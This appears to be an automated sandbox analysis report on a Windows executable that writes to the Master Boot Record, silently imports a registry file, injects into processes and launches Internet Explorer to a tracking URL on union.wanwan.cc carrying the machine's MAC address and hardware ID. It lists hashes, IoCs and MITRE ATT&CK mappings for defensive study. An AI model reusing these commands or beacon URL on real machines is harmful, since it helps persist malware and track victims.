c24eb7725ca1da64dde356f10874673ae39087730db89686da88c32de636b46a

General

Target

b54ae2fb741452c1b3a6ba9036bb5a28.exe
Size

16KB
MD5

b54ae2fb741452c1b3a6ba9036bb5a28
SHA1

e57fe426b5d0b2ff5638c9181a8fb1cda2c17154
SHA256

c24eb7725ca1da64dde356f10874673ae39087730db89686da88c32de636b46a
SHA512

60cbae46023220cbef6172d0f410264b833aae49ec0cd5ab5f2539ed604c2a1898d67cca6e656cc9a6319f44712b8cd65c33b0504c49be948d3318fac9958628
SSDEEP

192:4610cOWSF5Kj0JRxg5DHI/5U/XZR2kaOkDyypi9490exJHx+sV7L4NqlmrEYVS4M:4xF5PcDo/O/psrlDyunx+CQN6mBVb9S

Score

6^/10

bootkit persistence

Malware Config

Signatures

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PhysicalDrive0	b54ae2fb741452c1b3a6ba9036bb5a28.exe

Modifies Internet Explorer settings 1 TTPs 13 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-566096764-1992588923-1249862864-1000\SOFTWARE\Microsoft\Internet Explorer\GPU\AdapterInfo = "vendorId=\"0x10de\",deviceID=\"0x8c\",subSysID=\"0x0\",revision=\"0x0\",version=\"10.0.19041.546\"hypervisor=\"No Hypervisor (No SLAT)\""	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-566096764-1992588923-1249862864-1000\SOFTWARE\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-566096764-1992588923-1249862864-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-566096764-1992588923-1249862864-1000\Software\Microsoft\Internet Explorer\GPU	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-566096764-1992588923-1249862864-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-566096764-1992588923-1249862864-1000\SOFTWARE\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-566096764-1992588923-1249862864-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-566096764-1992588923-1249862864-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-566096764-1992588923-1249862864-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-566096764-1992588923-1249862864-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-566096764-1992588923-1249862864-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-566096764-1992588923-1249862864-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\AdminActive\{810D07CF-DB18-11EE-9216-D2E65CF77D40} = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-566096764-1992588923-1249862864-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE

Modifies registry class 14 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shell\open\ddeexec\application\ = "Folders"	regedit.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shell\open	regedit.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shell\open\command\ = "%SystemRoot%\\Explorer.exe /idlist,%I,%L"	regedit.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shell\open\ddeexec\ = "[ViewFolder(\"%l\", %I, %S)]"	regedit.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shell\open\ddeexec\application	regedit.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shell\open\ExplorerFlags = "18"	regedit.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shell\open\ddeexec\NoActivateHandler	regedit.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shell\open\ddeexec\ifexec\ = "[]"	regedit.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shell\open\ddeexec\topic\ = "AppProperties"	regedit.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shell\open\command	regedit.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shell\open\BrowserFlags = "16"	regedit.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shell\open\ddeexec	regedit.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shell\open\ddeexec\ifexec	regedit.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shell\open\ddeexec\topic	regedit.exe

Runs .reg file with regedit 1 IoCs

pid	Process
228	regedit.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2536	b54ae2fb741452c1b3a6ba9036bb5a28.exe
2536	b54ae2fb741452c1b3a6ba9036bb5a28.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
2468	iexplore.exe

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
2536	b54ae2fb741452c1b3a6ba9036bb5a28.exe
2468	iexplore.exe
2468	iexplore.exe
1420	IEXPLORE.EXE
1420	IEXPLORE.EXE
1420	IEXPLORE.EXE
1420	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 2536 wrote to memory of 2220	2536	b54ae2fb741452c1b3a6ba9036bb5a28.exe	89
PID 2536 wrote to memory of 2220	2536	b54ae2fb741452c1b3a6ba9036bb5a28.exe	89
PID 2536 wrote to memory of 2220	2536	b54ae2fb741452c1b3a6ba9036bb5a28.exe	89
PID 2536 wrote to memory of 2468	2536	b54ae2fb741452c1b3a6ba9036bb5a28.exe	91
PID 2536 wrote to memory of 2468	2536	b54ae2fb741452c1b3a6ba9036bb5a28.exe	91
PID 2220 wrote to memory of 228	2220	cmd.exe	92
PID 2220 wrote to memory of 228	2220	cmd.exe	92
PID 2220 wrote to memory of 228	2220	cmd.exe	92
PID 2468 wrote to memory of 1420	2468	iexplore.exe	93
PID 2468 wrote to memory of 1420	2468	iexplore.exe	93
PID 2468 wrote to memory of 1420	2468	iexplore.exe	93

C:\Users\Admin\AppData\Local\Temp\b54ae2fb741452c1b3a6ba9036bb5a28.exe
"C:\Users\Admin\AppData\Local\Temp\b54ae2fb741452c1b3a6ba9036bb5a28.exe"
1⤵
- Writes to the Master Boot Record (MBR)
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2536
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c regedit /s "C:\Users\Admin\AppData\Local\Temp\getback.reg"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2220
- - C:\Windows\SysWOW64\regedit.exe
    regedit /s "C:\Users\Admin\AppData\Local\Temp\getback.reg"
    3⤵
    - Modifies registry class
    - Runs .reg file with regedit
    PID:228
- C:\Program Files\Internet Explorer\iexplore.exe
  "C:\Program Files\Internet Explorer\iexplore.exe" http://union.wanwan.cc/Stat.ashx?Mac=D2E65CF77D40&Hard=QM00013&ClientType=Home&Process=91&UserID=0002&Authen=805-465
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:2468
- - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
    "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2468 CREDAT:17410 /prefetch:2
    3⤵
    - Modifies Internet Explorer settings
    - Suspicious use of SetWindowsHookEx
    PID:1420

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Pre-OS Boot

1

T1542

Bootkit

1

T1542.003

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Pre-OS Boot

1

T1542

Bootkit

1

T1542.003

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\getback.reg

Filesize
1KB

MD5
626e2d76f5c328d57a3eff6a7f94d129

SHA1
210fd33fa005775b30a8fd40a065a2e788934216

SHA256
5d9ae4b62924d6da9c35305bfd0d61c893767b7113f8b2f239da02057f8bee6e

SHA512
629290bd5791a42327b3b70a68609c6b0b9114365be8579553e01e6cbc98996c0fab475b88c0dd80d34dcc325453401c6cce26fb70ed67a9cb08271a07fd85a1

Download Submit
memory/2536-0-0x0000000000400000-0x000000000040D000-memory.dmp

Filesize
52KB

Download
memory/2536-1-0x00000000001C0000-0x00000000001C2000-memory.dmp

Filesize
8KB

Download
memory/2536-14-0x0000000000400000-0x000000000040D000-memory.dmp

Filesize
52KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads